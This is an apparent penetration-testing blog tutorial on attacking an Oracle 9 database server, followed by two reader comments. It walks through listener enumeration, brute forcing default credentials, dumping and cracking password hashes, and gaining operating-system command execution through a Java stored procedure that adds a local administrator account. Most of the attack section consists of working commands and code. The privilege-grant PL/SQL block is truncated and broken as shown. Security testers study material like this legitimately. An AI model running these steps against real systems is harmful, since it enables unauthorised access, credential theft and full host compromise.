In this article, I’ll discuss a range of basic Oracle 9 testing principles from the SID and account enumeration to query execution and finally, you guessed it, remote code execution.
If you’re looking for professional oracle penetration testing, please contact me.
Firstly, we’ll check to see that TCP port 1521 which is the Oracle Net Listener is open using nmap:
nmap -p 1521 192.168.15.205
Once done, we can use the ‘status’ and ‘version’ commands to get more information, using ‘tnscmd.pl’ from a tool called ‘oracle_checkpwd’:
./tnscmd.pl version -h 192.168.15.205 ./tnscmd.pl status -h 192.168.15.205
I have highlighted the interesting parts in red boxes, and from the output we now know that;
- The version is Win32 9.2.0.1.0
- The installation path is C:\oracle\ora92\
- The hostname is oracle.acme.local
- We have service names ‘acme’ and ‘acmeXDB’ running
That’s a good start considering we don’t even have any credentials yet! The next step is to attempt to brute force some credentials, using ‘opwg.sh’ from the ‘OAT’ toolkit. We know the SID and so we can begin with:
./opwg.sh -s 192.168.15.205 -d acme
opwg.sh also allows for a user file and password file to be specified on the command line for the use of a custom dictionary. This takes a short while to run, and eventually returns a list of any credentials that it was able to successfully enumerate –
We have successfully enumerated a number of sets of credentials. Looking these up, they appear to be default Oracle accounts. ‘SYSTEM’ is the highest privileged user that we have, followed by ‘DBSNMP’, followed by ‘SCOTT’. The OAT toolkit also contains some other very interesting tools including oquery, osd, ose, and otnsctl. Moving on, let’s see if we can log in with our SYSTEM/SYSTEM credentials. For this, we’ll need sqlplus_10.1 and instantclient10_1:
root@pwn:~/pen/tools/oracle# export LD_LIBRARY_PATH='/root/pen/tools/oracle/sqlplus_10.1/instantclient10_1/' #path to instantclient10_1 root@pwn:~/pen/tools/oracle# export ORACLE_SID=acme #our enumerated SID root@pwn:~/pen/tools/oracle# cd ~/pen/tools/oracle/sqlplus_10.1/instantclient10_1 root@pwn:~/pen/tools/oracle/sqlplus_10.1/instantclient10_1# ./sqlplus /nolog #start sqlplus SQL*Plus: Release 10.1.0.5.0 - Production on Sat Aug 10 14:32:37 2013 Copyright (c) 1982, 2005, Oracle. All rights reserved. SQL> connect system/system@//192.168.15.205:1521/acme #connection string for our database Connected. #success! SQL>
Now we’ve logged in, let’s see if we can run some queries!
SQL> select username,password from dba_users;
Now to crack the passwords with John. First, we’ll need to convert this output into a format which John understands:
cat pwlist.txt |awk '{ print $1 ":" $2 }' > oracle.txt
This converts “USERNAME PASSWORD” entries to “USERNAME:PASSWORD”. Now we can run John against the file:
John has successfully enumerated a number of accounts from the machine.
Now – how do we go about escalating ‘SYSTEM’ privileges within Oracle to full operating system privileges?
Firstly, ‘SYSTEM’ most likely does not have the permissions we need assigned, although it does have the ability to assign them to itself as follows:
DECLARE l_schema VARCHAR2(30) := 'SYSTEM';; /
If all is OK, the server should return ‘PL/SQL procedure successfully completed.’
Next is:
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "mycmd" AS import java.lang.*; import java.io.*; public class mycmd { public static void execCommand (String command) throws IOException { Runtime.getRuntime().exec(command); } }; /
and
CREATE OR REPLACE PROCEDURE run_cmd (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME 'mycmd.execCommand (java.lang.String)'; /
Now we have our ‘run_cmd’ procedure created, we can go ahead and create a user account:
exec run_cmd('net user npn pwned12345 /add'); exec run_cmd('net localgroup Administrators npn /add');
Game over!
Great article and found it to be extremely helpful. One minor correction, in the last 2 lines it should be run_cmd in the statements unless its been purposely kept like this 🙂
Thank you Varun! Bug fixed 🙂